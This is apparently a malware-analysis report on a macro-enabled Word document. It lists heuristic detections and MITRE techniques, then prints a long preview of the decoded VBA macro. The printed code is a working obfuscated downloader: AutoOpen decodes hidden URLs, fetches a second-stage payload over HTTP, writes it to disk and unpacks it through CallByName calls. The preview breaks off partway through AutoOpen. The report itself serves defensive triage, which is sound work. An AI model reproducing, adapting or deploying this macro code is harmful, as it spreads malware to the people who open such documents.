MALICIOUS
172
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a macro-enabled Office document containing obfuscated VBA code. The AutoOpen macro triggers the execution of CreateObject and CallByName functions, indicative of malicious intent to download and execute a payload. The VBA script uses obfuscation techniques and calls functions that are likely responsible for fetching and running a second-stage artifact.
Heuristics 8
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set WbmWBneD = CreateObject(ijsAK) -
CallByName call high OLE_VBA_CALLBYNAMECallByName callMatched line in script
zyyPQUT = CallByName(ActiveDocument, LLafxdki, 2) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 37654 bytes |
SHA-256: 63d8c063a39ef18eabe664ae29a7da752ed1dd3badc552afcc71069d01848e06 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
216 of 284 identifiers look randomly generated (e.g. 'UyNEgQKtBHcPGCPbczBFgSTyQeHzgdRMlnFrxvaM') — consistent with name-mangling obfuscation. Carved artifact contains 11 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Module1" Function qTOjr() As String Dim zyyPQUT As String Dim DHyt As String Dim LLafxdki As String Dim XwPGZCEQ As String Dim TutfLc(5) As Long Dim dKZ As Long dKZ = 4 XwPGZCEQ = "BgRtphZCRaDPE" TutfLc(0) = 12 TutfLc(1) = 10 TutfLc(2) = 4 TutfLc(3) = 6 TutfLc(4) = 9 LLafxdki = CKIZzJwD(XwPGZCEQ, TutfLc, dKZ) Dim Wykkv As String Dim JfV As String Dim wLyv(1) As Long Dim nIaAluV As Long nIaAluV = 1 JfV = "mls\qkirX" wLyv(0) = 4 Wykkv = CKIZzJwD(JfV, wLyv, nIaAluV) zyyPQUT = CallByName(ActiveDocument, LLafxdki, 2) DHyt = xKUAZH() qTOjr = zyyPQUT & Wykkv & DHyt End Function Function aQRAY() As Object Dim WTNIX As String Dim GcU As String Dim dXKGKx(19) As Long Dim vMQT As Long vMQT = 12 GcU = "fowHQyoYsWUaOeDojHatRrf.BeGRPrhAJsSJWymSYDJ" dXKGKx(0) = 32 dXKGKx(1) = 15 dXKGKx(2) = 13 dXKGKx(3) = 15 dXKGKx(4) = 25 dXKGKx(5) = 24 dXKGKx(6) = 35 dXKGKx(7) = 20 dXKGKx(8) = 22 dXKGKx(9) = 14 dXKGKx(10) = 12 dXKGKx(11) = 39 dXKGKx(12) = 38 dXKGKx(13) = 8 dXKGKx(14) = 25 dXKGKx(15) = 1 dXKGKx(16) = 24 dXKGKx(17) = 43 dXKGKx(18) = 12 WTNIX = CKIZzJwD(GcU, dXKGKx, vMQT) Set aQRAY = WbmWBneD(WTNIX) End Function Function LBSR(SUaE As Object) As String Dim ctVHIw As String Dim JRC As String Dim QXGkCVeC(29) As Long Dim aXEtVn As Long aXEtVn = 12 JRC = "ZoweOodrenwZjKMTAZflZssrePGTcsovvzyvBpDt" QXGkCVeC(0) = 8 QXGkCVeC(1) = 4 QXGkCVeC(2) = 22 QXGkCVeC(3) = 38 QXGkCVeC(4) = 2 QXGkCVeC(5) = 10 QXGkCVeC(6) = 22 QXGkCVeC(7) = 4 QXGkCVeC(8) = 37 QXGkCVeC(9) = 2 QXGkCVeC(10) = 7 QXGkCVeC(11) = 35 QXGkCVeC(12) = 30 QXGkCVeC(13) = 33 QXGkCVeC(14) = 8 QXGkCVeC(15) = 8 QXGkCVeC(16) = 10 QXGkCVeC(17) = 13 QXGkCVeC(18) = 18 QXGkCVeC(19) = 27 QXGkCVeC(20) = 35 QXGkCVeC(21) = 26 QXGkCVeC(22) = 11 QXGkCVeC(23) = 1 QXGkCVeC(24) = 36 QXGkCVeC(25) = 38 QXGkCVeC(26) = 32 QXGkCVeC(27) = 0 QXGkCVeC(28) = 27 ctVHIw = CKIZzJwD(JRC, QXGkCVeC, aXEtVn) LBSR = CallByName(SUaE, ctVHIw, 2) End Function Sub tVKr(gdX As Object, mPEkRe As String, gPVcSF As String) Dim CbMubOp As String Dim XJGoczE As String Dim pAFQnun(3) As Long Dim IdsUxcID As Long IdsUxcID = 1 XJGoczE = "PFZOHeaN " pAFQnun(0) = 9 pAFQnun(1) = 0 pAFQnun(2) = 2 CbMubOp = CKIZzJwD(XJGoczE, pAFQnun, IdsUxcID) Dim SuuCP As String Dim aAC As String Dim gvqbN(20) As Long Dim FsWl As Long FsWl = 12 aAC = "ruObftnuuXPogMLVVNlcLepolPSwauWxsALaJQbVrpzbyeqxipODHQlCmjwQKxquojrRJRepHAxtSCwZIakcExYlteIiSTVnPhBSh" gvqbN(0) = 27 gvqbN(1) = 98 gvqbN(2) = 22 gvqbN(3) = 19 gvqbN(4) = 19 gvqbN(5) = 85 gvqbN(6) = 32 gvqbN(7) = 22 gvqbN(8) = 20 gvqbN(9) = 2 gvqbN(10) = 6 gvqbN(11) = 22 gvqbN(12) = 7 gvqbN(13) = 42 gvqbN(14) = 48 gvqbN(15) = 43 gvqbN(16) = 99 gvqbN(17) = 100 gvqbN(18) = 98 gvqbN(19) = 56 SuuCP = CKIZzJwD(aAC, gvqbN, FsWl) CallByName gdX, SuuCP, 1, mPEkRe, CbMubOp & gPVcSF End Sub Sub DLqZvhZ(zbzQ As Object, yYsYO() As Byte) Dim IhqTZTVY As String Dim GYp As String Dim hfAp(8) As Long Dim ILProxBZ As Long ILProxBZ = 5 GYp = "WrWOdAtcJRdKLeqazjsZexoymrUIBwFAJricp" hfAp(0) = 1 hfAp(1) = 2 hfAp(2) = 35 hfAp(3) = 7 hfAp(4) = 14 hfAp(5) = 20 hfAp(6) = 4 hfAp(7) = 35 IhqTZTVY = CKIZzJwD(GYp, hfAp, ILProxBZ) CallByName zbzQ, IhqTZTVY, 1, yYsYO End Sub Function mfOvG() As Object Dim MTqgi As String Dim rkfwqjVL As String Dim JbrDWR(42) As Long Dim hVzBFqU As Long hVzBFqU = 17 rkfwqjVL = "cIkkhwZrlw.PKJbUWblWhZOwzaXQMSBWtchkelrgjLaHqlvgpaqizXsqRugWoUzQRbOZVApoglpyGLliObikhxqaotjNeAgn" JbrDWR(0) = 30 JbrDWR(1) = 5 JbrDWR(2) = 37 JbrDWR(3) = 9 JbrDWR(4) = 9 JbrDWR(5) = 11 JbrDWR(6) = 70 JbrDWR(7) = 49 JbrDWR(8) = 49 JbrDWR(9) = 9 JbrDWR(10) = 52 JbrDWR(11) = 1 JbrDWR(12) = 26 JbrDWR(13) = 33 JbrDWR(14) = 52 JbrDWR(15) = 61 JbrDWR(16) = 96 JbrDWR(17) = 13 JbrDWR(18) = 35 JbrDWR(19) = 74 JbrDWR(20) = 61 JbrDWR(21) = 89 JbrDWR(22) = 46 JbrDWR(23) = 0 JbrDWR(24) = 71 JbrDWR(25) = 42 JbrDWR(26) = 52 JbrDWR(27) = 24 JbrDWR(28) = 75 JbrDWR(29) = 57 JbrDWR(30) = 0 JbrDWR(31) = 72 JbrDWR(32) = 71 JbrDWR(33) = 16 JbrDWR(34) = 95 JbrDWR(35) = 48 JbrDWR(36) = 72 JbrDWR(37) = 35 JbrDWR(38) = 93 JbrDWR(39) = 5 JbrDWR(40) = 90 JbrDWR(41) = 23 MTqgi = CKIZzJwD(rkfwqjVL, JbrDWR, hVzBFqU) Set mfOvG = WbmWBneD(MTqgi) End Function Function Peu(XIEtCn As Object) As Boolean Dim DHo As Long Dim hWgJvcIG As String Dim iAbExh As String Dim eVmImro(7) As Long Dim cuptJs As Long cuptJs = 6 iAbExh = "mtlIXvRsBitvcseBxTteJOGESclqauDCiuls" eVmImro(0) = 25 eVmImro(1) = 2 eVmImro(2) = 29 eVmImro(3) = 2 eVmImro(4) = 30 eVmImro(5) = 8 eVmImro(6) = 32 hWgJvcIG = CKIZzJwD(iAbExh, eVmImro, cuptJs) DHo = CallByName(XIEtCn, hWgJvcIG, 2) If DHo = 200 Then Peu = True End If End Function Sub ZzVGzQ(abbmouJY As Object) Dim dxCoct As String Dim jrkJYlp As String Dim Gth(10) As Long Dim CQzUH As Long CQzUH = 4 jrkJYlp = "fgiDhgQrrtdrkzrOencFdAKsehfJbpSq" Gth(0) = 31 Gth(1) = 17 Gth(2) = 18 Gth(3) = 11 Gth(4) = 8 Gth(5) = 2 Gth(6) = 20 Gth(7) = 27 Gth(8) = 1 Gth(9) = 13 dxCoct = CKIZzJwD(jrkJYlp, Gth, CQzUH) CallByName abbmouJY, dxCoct, 1 End Sub Sub ZtTtHl(DaMnROvO As Object, fkvjqV As String) Dim qHm As String Dim ksgdW As String Dim nNNUC(28) As Long Dim DpQ As Long DpQ = 12 ksgdW = "hkkrXlDOikIoueoIdBfMhFkhqYJFIdcteNKyVeclFsaJKPeLqogjYmrQEFjkxnWgi" nNNUC(0) = 7 nNNUC(1) = 14 nNNUC(2) = 6 nNNUC(3) = 14 nNNUC(4) = 32 nNNUC(5) = 14 nNNUC(6) = 22 nNNUC(7) = 12 nNNUC(8) = 6 nNNUC(9) = 17 nNNUC(10) = 14 nNNUC(11) = 4 nNNUC(12) = 38 nNNUC(13) = 60 nNNUC(14) = 7 nNNUC(15) = 60 nNNUC(16) = 37 nNNUC(17) = 31 nNNUC(18) = 60 nNNUC(19) = 23 nNNUC(20) = 65 nNNUC(21) = 6 nNNUC(22) = 21 nNNUC(23) = 39 nNNUC(24) = 18 nNNUC(25) = 0 nNNUC(26) = 59 nNNUC(27) = 50 qHm = CKIZzJwD(ksgdW, nNNUC, DpQ) CallByName DaMnROvO, qHm, 1, fkvjqV End Sub Function KkvqQGFi(opaErkTv As Object, Pqzi As String) As Object Dim NIbtVRk As Variant Dim pXspBcy As String Dim VOBEbcU As String Dim TqE(11) As Long Dim idJ As Long idJ = 9 VOBEbcU = "QgbitWedSsWNpNIeZlmoheDnJnaDgqDVwfVaseDEJpLuNpYrmdAaPBVedicxOJIcOWmgAYFmLxrfP" TqE(0) = 12 TqE(1) = 27 TqE(2) = 19 TqE(3) = 7 TqE(4) = 10 TqE(5) = 13 TqE(6) = 27 TqE(7) = 59 TqE(8) = 7 TqE(9) = 56 TqE(10) = 51 pXspBcy = CKIZzJwD(VOBEbcU, TqE, idJ) NIbtVRk = CVar(Pqzi) Set KkvqQGFi = CallByName(opaErkTv, pXspBcy, 1, NIbtVRk) End Function Sub IbTLxv(jeza() As Byte, VdusEs As String) Dim Cpr As Object Set Cpr = aQRAY() YDLTxu Cpr iQgkzF Cpr DLqZvhZ Cpr, jeza GCyYktPn Cpr, VdusEs bMN Cpr End Sub Sub LGLR(QEhpTtw As Object, aBOBnmRN As String) Dim gMA As String Dim zkPVIm As String Dim UhbMsDQ(14) As Long Dim uzEnOn As Long uzEnOn = 12 zkPVIm = "oSlGcikeJhoLmVCleekUrtpiRBClsyirPNzQdiOWpaYJPbvLUhUzdIqiFWCjrhZmLrkezfGmlEblmGnHNYhbJFHVuobGe" UhbMsDQ(0) = 15 UhbMsDQ(1) = 21 UhbMsDQ(2) = 8 UhbMsDQ(3) = 42 UhbMsDQ(4) = 22 UhbMsDQ(5) = 8 UhbMsDQ(6) = 57 UhbMsDQ(7) = 1 UhbMsDQ(8) = 3 UhbMsDQ(9) = 37 UhbMsDQ(10) = 8 UhbMsDQ(11) = 21 UhbMsDQ(12) = 82 UhbMsDQ(13) = 31 gMA = CKIZzJwD(zkPVIm, UhbMsDQ, uzEnOn) CallByName QEhpTtw, gMA, 1, aBOBnmRN End Sub Function CquGg(IgP As String, zYeZ As String) As Boolean Dim gvaZa As Object Dim puBRs As Object Dim iFYjOzG As Object Dim kGps As Object Dim MbdT As String Dim dmtvthbq As String Dim lgLo() As Byte Dim hSXdKEzq As Integer Dim yclSn As String Dim EXZN As String CquGg = False Dim PYdnRM As String Dim oVzYs As String Dim NkoLpoT(2) As Long Dim JJdQrnVa As Long JJdQrnVa = 1 oVzYs = "jqA?N" NkoLpoT(0) = 4 NkoLpoT(1) = 4 PYdnRM = CKIZzJwD(oVzYs, NkoLpoT, JJdQrnVa) Dim xXfQIgFX As String Dim PrLltO As String Dim YDJWEYJ(7) As Long Dim flFpi As Long flFpi = 3 PrLltO = "SlcpKnKijiAAv=j&xB" YDJWEYJ(0) = 16 YDJWEYJ(1) = 3 YDJWEYJ(2) = 14 YDJWEYJ(3) = 10 YDJWEYJ(4) = 4 YDJWEYJ(5) = 3 YDJWEYJ(6) = 0 xXfQIgFX = CKIZzJwD(PrLltO, YDJWEYJ, flFpi) MbdT = xKUAZH() dmtvthbq = IgP & PYdnRM & MbdT & xXfQIgFX & System.CountryRegion On Error GoTo JeJ Set gvaZa = ExVJaoYT() XmhFQF gvaZa, dmtvthbq ZzVGzQ gvaZa If Peu(gvaZa) Then lgLo = LBSR(gvaZa) hSXdKEzq = XjGbQcMT(lgLo) If hSXdKEzq = 1 Then IbTLxv lgLo, zYeZ CquGg = True End If If hSXdKEzq = 2 Then Set iFYjOzG = kAj() yclSn = qTOjr() LGLR iFYjOzG, yclSn Dim JbIIHjnM As String Dim dlkLezgA As String Dim guouEKcA(8) As Long Dim zRYdDW As Long zRYdDW = 4 dlkLezgA = "KgRiGzpusmdgxZs.o" guouEKcA(0) = 16 guouEKcA(1) = 6 guouEKcA(2) = 4 guouEKcA(3) = 7 guouEKcA(4) = 7 guouEKcA(5) = 3 guouEKcA(6) = 9 guouEKcA(7) = 17 JbIIHjnM = CKIZzJwD(dlkLezgA, guouEKcA, zRYdDW) EXZN = yclSn & JbIIHjnM IbTLxv lgLo, EXZN Set kGps = mfOvG() Set YYaBzDOw = KkvqQGFi(kGps, yclSn) Set xLO = KkvqQGFi(kGps, EXZN) Dim uQyylZ As String Dim dkscC As String Dim hqnjyadE(11) As Long Dim qkcNGg As Long qkcNGg = 8 dkscC = "nVzjQHUeSoofhQcqPqRgWepIysSBrLHBoNefC" hqnjyadE(0) = 37 hqnjyadE(1) = 10 hqnjyadE(2) = 23 hqnjyadE(3) = 25 hqnjyadE(4) = 6 hqnjyadE(5) = 8 hqnjyadE(6) = 29 hqnjyadE(7) = 8 hqnjyadE(8) = 31 hqnjyadE(9) = 21 hqnjyadE(10) = 34 uQyylZ = CKIZzJwD(dkscC, hqnjyadE, qkcNGg) CallByName YYaBzDOw, uQyylZ, 1, xLO.Items, 4 Dim avSLYpKZ As String Dim TmPprOTp As String Dim kKLRFNT(22) As Long Dim dlWyfS As Long dlWyfS = 8 TmPprOTp = "ReLuuAaoihNyUPSXdbAWPxFKiDmugViXyvmAAUSvVWemvbCHvcLbVWeruIWMvJtlo" kKLRFNT(0) = 60 kKLRFNT(1) = 8 kKLRFNT(2) = 34 kKLRFNT(3) = 2 kKLRFNT(4) = 23 kKLRFNT(5) = 9 kKLRFNT(6) = 64 kKLRFNT(7) = 2 kKLRFNT(8) = 23 kKLRFNT(9) = 24 kKLRFNT(10) = 61 kKLRFNT(11) = 55 kKLRFNT(12) = 65 kKLRFNT(13) = 63 kKLRFNT(14) = 60 kKLRFNT(15) = 1 kKLRFNT(16) = 51 kKLRFNT(17) = 18 kKLRFNT(18) = 27 kKLRFNT(19) = 52 kKLRFNT(20) = 63 kKLRFNT(21) = 11 avSLYpKZ = CKIZzJwD(TmPprOTp, kKLRFNT, dlWyfS) For Each JUSjnH In YYaBzDOw.Items CallByName iFYjOzG, avSLYpKZ, 1, JUSjnH.Path, zYeZ Next ZtTtHl iFYjOzG, yclSn Obrmn iFYjOzG, EXZN CquGg = True End If End If Exit Function JeJ: CquGg = False End Function Sub XmhFQF(cSwoFtLm As Object, KvFxR As String) Dim WgGqhd As String Dim gtfs As String Dim eIqHM(5) As Long Dim VOWuRsFt As Long VOWuRsFt = 4 gtfs = "tpPNzeAHaxOnhKye" eIqHM(0) = 11 eIqHM(1) = 2 eIqHM(2) = 6 eIqHM(3) = 12 eIqHM(4) = 8 WgGqhd = CKIZzJwD(gtfs, eIqHM, VOWuRsFt) Dim FbsyA As String Dim YctBdlSc As String Dim JangJoM(5) As Long Dim DuFXe As Long DuFXe = 3 YctBdlSc = "GtYZtNyTgOBqCQxYmE" JangJoM(0) = 1 JangJoM(1) = 18 JangJoM(2) = 8 JangJoM(3) = 17 JangJoM(4) = 15 FbsyA = CKIZzJwD(YctBdlSc, JangJoM, DuFXe) CallByName cSwoFtLm, WgGqhd, 1, FbsyA, KvFxR, False Dim wUq As String Dim XjqtlIx As String Dim TsDjyFI(16) As Long Dim TVCxcGN As Long TVCxcGN = 6 XjqtlIx = "CShugZuLgHzjknoIpyvnUxZtiWaOUeQMstcHTAOptYgIPiKBYOpcuZ" TsDjyFI(0) = 28 TsDjyFI(1) = 17 TsDjyFI(2) = 24 TsDjyFI(3) = 25 TsDjyFI(4) = 15 TsDjyFI(5) = 14 TsDjyFI(6) = 14 TsDjyFI(7) = 40 TsDjyFI(8) = 19 TsDjyFI(9) = 34 TsDjyFI(10) = 17 TsDjyFI(11) = 20 TsDjyFI(12) = 38 TsDjyFI(13) = 21 TsDjyFI(14) = 27 TsDjyFI(15) = 27 wUq = CKIZzJwD(XjqtlIx, TsDjyFI, TVCxcGN) CallByName cSwoFtLm, wUq, 4, 4, 13056 End Sub Sub AutoOpen() Dim WDzYgZM As String Dim tYrPC As String Dim rgesXCxI As String Dim NgncLnUj(71) As Long Dim qRgKgzm As Long qRgKgzm = 57 rgesXCxI = "NjsyzsHKGfexGQGitzQFCfKMqoCpzIMUOjS9DttNwZgS-FgpseLiKgRrw/dDOWqpGPzbHSgYanWgapa.ytZNHYpw.UeTjp0eSyACg3PfKlSh0DuD6EbLPLaFQUGsEIyAzTPmAFWmdOXBQncMvIZAhMuEEmQqrcbZAmcGwwOjc:DlCvvedDAButNCajoWtYkslXwhXIwVcZubUAsmKnlUyfpWmrcuSoaOdmGGkWWgEtQPzTfBMjgguttp4LHTrzbarhrGPisoorcFOT/bt/iQLLDjLtscuRrQhoKXRZoDBxYDr6bJHecmpsvknfgu/GicZXIQLJesBLLNvOBlsrbsoXEqEnpbqpc/hAoUcCTeRiGgHHhthLrcXVztsUXawkiaAktWnHNYAVnZjKxPTRtjszGhaBjEwjnhszxmaw" NgncLnUj(0) = 108 NgncLnUj(1) = 17 NgncLnUj(2) = 17 NgncLnUj(3) = 28 NgncLnUj(4) = 3 NgncLnUj(5) = 170 NgncLnUj(6) = 58 NgncLnUj(7) = 58 NgncLnUj(8) = 3 NgncLnUj(9) = 111 NgncLnUj(10) = 28 NgncLnUj(11) = 28 NgncLnUj(12) = 106 NgncLnUj(13) = 16 NgncLnUj(14) = 11 NgncLnUj(15) = 56 NgncLnUj(16) = 143 NgncLnUj(17) = 16 NgncLnUj(18) = 17 NgncLnUj(19) = 4 NgncLnUj(20) = 80 NgncLnUj(21) = 143 NgncLnUj(22) = 26 NgncLnUj(23) = 132 NgncLnUj(24) = 80 NgncLnUj(25) = 132 NgncLnUj(26) = 12 NgncLnUj(27) = 58 NgncLnUj(28) = 41 NgncLnUj(29) = 28 NgncLnUj(30) = 45 NgncLnUj(31) = 143 NgncLnUj(32) = 26 NgncLnUj(33) = 74 NgncLnUj(34) = 17 NgncLnUj(35) = 11 NgncLnUj(36) = 74 NgncLnUj(37) = 17 NgncLnUj(38) = 58 NgncLnUj(39) = 12 NgncLnUj(40) = 95 NgncLnUj(41) = 111 NgncLnUj(42) = 113 NgncLnUj(43) = 41 NgncLnUj(44) = 35 NgncLnUj(45) = 92 NgncLnUj(46) = 95 NgncLnUj(47) = 102 NgncLnUj(48) = 4 NgncLnUj(49) = 113 NgncLnUj(50) = 139 NgncLnUj(51) = 249 NgncLnUj(52) = 36 NgncLnUj(53) = 24 NgncLnUj(54) = 33 NgncLnUj(55) = 25 NgncLnUj(56) = 58 NgncLnUj(57) = 385 NgncLnUj(58) = 382 NgncLnUj(59) = 422 NgncLnUj(60) = 377 NgncLnUj(61) = 334 NgncLnUj(62) = 360 NgncLnUj(63) = 207 NgncLnUj(64) = 299 NgncLnUj(65) = 108 NgncLnUj(66) = 44 NgncLnUj(67) = 382 NgncLnUj(68) = 269 NgncLnUj(69) = 36 NgncLnUj(70) = 149 tYrPC = CKIZzJwD(rgesXCxI, NgncLnUj, qRgKgzm) Dim tCFKXr As String Dim yKrTwhX As String Dim njhTKIc(45) As Long Dim sqIu As Long sqIu = 37 yKrTwhX = "zn/ljxUuhEzMiuadw/ovUrqNCkUiUQrbNoyLvzoCVpNIbfMzcpRwavHpzdVcvRygjldKGsuFcTGNAoJDAUleCEcQpFewKlWbrRf/QCzMtjDaCasjcgSsweGmCiXYgUMrkTQyc/hGohPnBCgajnpeLfaoupWeKywvxvygoVzbMfClhwFBtjPGhsHcYpTHmwKToXIauDppWhmRrzvUYEdABvSGsKnBjJGnyadV:QdhxAvvioFYmf/dnkNRovWtNVgoGVULdSgbdWcVgoa.DT.khbgGer" njhTKIc(0) = 9 njhTKIc(1) = 105 njhTKIc(2) = 105 njhTKIc(3) = 42 njhTKIc(4) = 229 njhTKIc(5) = 3 njhTKIc(6) = 3 njhTKIc(7) = 16 njhTKIc(8) = 15 njhTKIc(9) = 22 njhTKIc(10) = 32 njhTKIc(11) = 15 njhTKIc(12) = 1 njhTKIc(13) = 13 njhTKIc(14) = 272 njhTKIc(15) = 19 njhTKIc(16) = 22 njhTKIc(17) = 64 njhTKIc(18) = 272 njhTKIc(19) = 64 njhTKIc(20) = 84 njhTKIc(21) = 3 njhTKIc(22) = 4 njhTKIc(23) = 15 njhTKIc(24) = 2 njhTKIc(25) = 64 njhTKIc(26) = 8 njhTKIc(27) = 15 njhTKIc(28) = 64 njhTKIc(29) = 84 njhTKIc(30) = 3 njhTKIc(31) = 13 njhTKIc(32) = 35 njhTKIc(33) = 30 njhTKIc(34) = 12 njhTKIc(35) = 9 njhTKIc(36) = 3 njhTKIc(37) = 269 njhTKIc(38) = 242 njhTKIc(39) = 163 njhTKIc(40) = 13 njhTKIc(41) = 278 njhTKIc(42) = 105 njhTKIc(43) = 272 njhTKIc(44) = 217 tCFKXr = CKIZzJwD(yKrTwhX, njhTKIc, sqIu) Dim dGwp As String Dim PystG As String Dim pWEEPf(45) As Long Dim IraHCan As Long IraHCan = 40 PystG = "u/xIDrOCtMiHWMebvdDAJNoPgMHsMD/iOjkYrUTLrNmGtdgsMmoevhWcARNvdiMqDweweuyZreDc:zoNvgnUeelm/kLLGgUyyCanLmfYSsxlgccnqQYzcOyIyiaGTHavRSUwcr/LXoSzoYjuMQrgfvOLVRfUVSBdl/fnEnjknHHrNHxntrbLYRZphcwVDQpGWpBuWmFcIHcaejfnLVdORHlBRoCItqLjtLkoKhXttCZShenWaaVXXzMfnJqHLdGfcrCFhBCiVrEicnaJpfVZXYcTTgfHEHdeGRpcHBWszapoHJVKEcldZvFiYMfzFFhV8ceNsCbudtzSqzGWtm." pWEEPf(0) = 54 pWEEPf(1) = 9 pWEEPf(2) = 9 pWEEPf(3) = 184 pWEEPf(4) = 77 pWEEPf(5) = 2 pWEEPf(6) = 2 pWEEPf(7) = 56 pWEEPf(8) = 23 pWEEPf(9) = 83 pWEEPf(10) = 103 pWEEPf(11) = 15 pWEEPf(12) = 18 pWEEPf(13) = 15 pWEEPf(14) = 6 pWEEPf(15) = 99 pWEEPf(16) = 9 pWEEPf(17) = 11 pWEEPf(18) = 23 pWEEPf(19) = 83 pWEEPf(20) = 56 pWEEPf(21) = 11 pWEEPf(22) = 64 pWEEPf(23) = 339 pWEEPf(24) = 103 pWEEPf(25) = 6 pWEEPf(26) = 2 pWEEPf(27) = 11 pWEEPf(28) = 43 pWEEPf(29) = 99 pWEEPf(30) = 25 pWEEPf(31) = 15 pWEEPf(32) = 28 pWEEPf(33) = 2 pWEEPf(34) = 321 pWEEPf(35) = 58 pWEEPf(36) = 4 pWEEPf(37) = 199 pWEEPf(38) = 6 pWEEPf(39) = 2 pWEEPf(40) = 15 pWEEPf(41) = 10 pWEEPf(42) = 178 pWEEPf(43) = 297 pWEEPf(44) = 206 dGwp = CKIZzJwD(PystG, pWEEPf, IraHCan) Dim IEYNFBk As String Dim hZf As String Dim qsMN(73) As Long Dim gPWU As Long gPWU = 52 hZf = "tjchJJCkPHlIYkJfzLtegNGsgEOmuUYaBLIo-BFTaDWCmuoFnKoPPpayroukXiJAqMbAbPUZVMlrFhGnPqPFkLSeYDAcVAtteouKupVsatinuCIJuSTKtTGfEWh.dCBidzHelfDGsUL/Bbw:Era/XZnwHcfQLcoUKTgXcpE/dJodLgHvrEbmgpTkPtPWuvvbYuoINbgoQCFyKkLgPdDcdRWx/kdgyknagYIhawxulNQntmofGOeOFxfVnvXmJMPgxgrEPoNJMqQtEJizkgIZmeoTfGkvbnTlWWEkdugsAvLqiDUNElthBpajiYbhCruhnxiHDbbHADvOpiUND/BNYnuYjaevReSstvaZWNuSiRiJhJBTRPowQI" qsMN(0) = 4 qsMN(1) = 1 qsMN(2) = 1 qsMN(3) = 54 qsMN(4) = 144 qsMN(5) = 140 qsMN(6) = 140 qsMN(7) = 24 qsMN(8) = 54 qsMN(9) = 62 qsMN(10) = 57 qsMN(11) = 62 qsMN(12) = 1 qsMN(13) = 29 qsMN(14) = 32 qsMN(15) = 11 qsMN(16) = 36 qsMN(17) = 29 qsMN(18) = 1 qsMN(19) = 125 qsMN(20) = 36 qsMN(21) = 36 qsMN(22) = 57 qsMN(23) = 32 qsMN(24) = 125 qsMN(25) = 176 qsMN(26) = 20 qsMN(27) = 49 qsMN(28) = 1 qsMN(29) = 29 qsMN(30) = 57 qsMN(31) = 20 qsMN(32) = 24 qsMN(33) = 124 qsMN(34) = 36 qsMN(35) = 57 qsMN(36) = 21 qsMN(37) = 140 qsMN(38) = 3 qsMN(39) = 21 qsMN(40) = 62 qsMN(41) = 37 qsMN(42) = 67 qsMN(43) = 62 qsMN(44) = 49 qsMN(45) = 140 qsMN(46) = 21 qsMN(47) = 16 qsMN(48) = 1 qsMN(49) = 5 qsMN(50) = 49 qsMN(51) = 140 qsMN(52) = 363 qsMN(53) = 306 qsMN(54) = 152 qsMN(55) = 306 qsMN(56) = 6 qsMN(57) = 280 qsMN(58) = 158 qsMN(59) = 179 qsMN(60) = 357 qsMN(61) = 354 qsMN(62) = 267 qsMN(63) = 263 qsMN(64) = 56 qsMN(65) = 236 qsMN(66) = 299 qsMN(67) = 77 qsMN(68) = 369 qsMN(69) = 36 qsMN(70) = 52 qsMN(71) = 260 qsMN(72) = 218 IEYNFBk = CKIZzJwD(hZf, qsMN, gPWU) Dim JbJVGAP As String Dim VbMtXqw As String Dim Rzs(96) As Long Dim WMvhhBLQ As Long WMvhhBLQ = 45 VbMtXqw = "mBrddztgRgSnWiRfHmnnMzkQLQppUpKQQtSrKdVkHKLvndgQKgmFlOUysspIIDnWqTtASQ-Ao/VLgbyRHrmferdfCBXhFkBqajHUAZFdJCWrQcvItsdLksJtdfSnIZ8/paWavmiYDPafxstdp0grHHsCk.FUGzlpVEZLNnSjpWfsThaoOFekiTgqeaLRgyeKozwukXw:vKsrvYOhKnXnWtTO/iBh/lNtI/LCxcizzCqlZITFQTe" Rzs(0) = 92 Rzs(1) = 7 Rzs(2) = 7 Rzs(3) = 27 Rzs(4) = 200 Rzs(5) = 74 Rzs(6) = 74 Rzs(7) = 8 Rzs(8) = 4 Rzs(9) = 110 Rzs(10) = 8 Rzs(11) = 3 Rzs(12) = 73 Rzs(13) = 196 Rzs(14) = 27 Rzs(15) = 154 Rzs(16) = 44 Rzs(17) = 12 Rzs(18) = 74 Rzs(19) = 195 Rzs(20) = 27 Rzs(21) = 71 Rzs(22) = 97 Rzs(23) = 4 Rzs(24) = 1 Rzs(25) = 14 Rzs(26) = 12 Rzs(27) = 74 Rzs(28) = 146 Rzs(29) = 14 Rzs(30) = 27 Rzs(31) = 13 Rzs(32) = 21 Rzs(33) = 24 Rzs(34) = 136 Rzs(35) = 8 Rzs(36) = 8 Rzs(37) = 25 Rzs(38) = 54 Rzs(39) = 62 